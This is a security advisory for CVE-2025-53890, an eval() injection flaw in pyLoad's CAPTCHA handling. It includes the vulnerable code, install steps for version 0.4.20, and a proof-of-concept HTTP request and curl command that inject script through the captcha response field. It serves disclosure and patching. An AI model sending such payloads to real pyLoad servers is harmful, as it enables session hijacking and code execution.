CVE-2025-53890: pyLoad vulnerable to remote code execution through js2py onCaptchaResult

Summary An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details The vulnerable code resides in javascript function onCaptchaResult(result) { eval(result); // Direct execution of attacker-controlled input }

The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval() No sanitization or validation is performed on this input A malicious CAPTCHA result can include JavaScript such as fetch() or childprocess.exec() in environments using NodeJS Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods 1. Official Source Installation: bash git clone https://github.com/pyload/pyload cd pyload git checkout 0.4.20 python -m pip install -e . pyload --userdir=/tmp/pyload

2. Virtual Environment: bash python -m venv pyload-env source pyload-env/bin/activate pip install pyload==0.4.20 pyload

CAPTCHA Endpoint Verification

Technical Clarification: 1. The vulnerable endpoint is actually: /interactive/captcha

2. Complete PoC Request: http POST /interactive/captcha HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded

cid=123&response=1%3Balert(document.cookie)

3. Curl Command Correction: bash curl -X POST "http://localhost:8000/interactive/captcha" \ -d "cid=123&response=1%3Balert(document.cookie)"

1. Vulnerable Code Location: The eval() vulnerability is confirmed in: src/pyload/webui/app/static/js/captcha-interactive.user.js

Resources

1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546 2. OWASP: Avoid eval() 3. #4586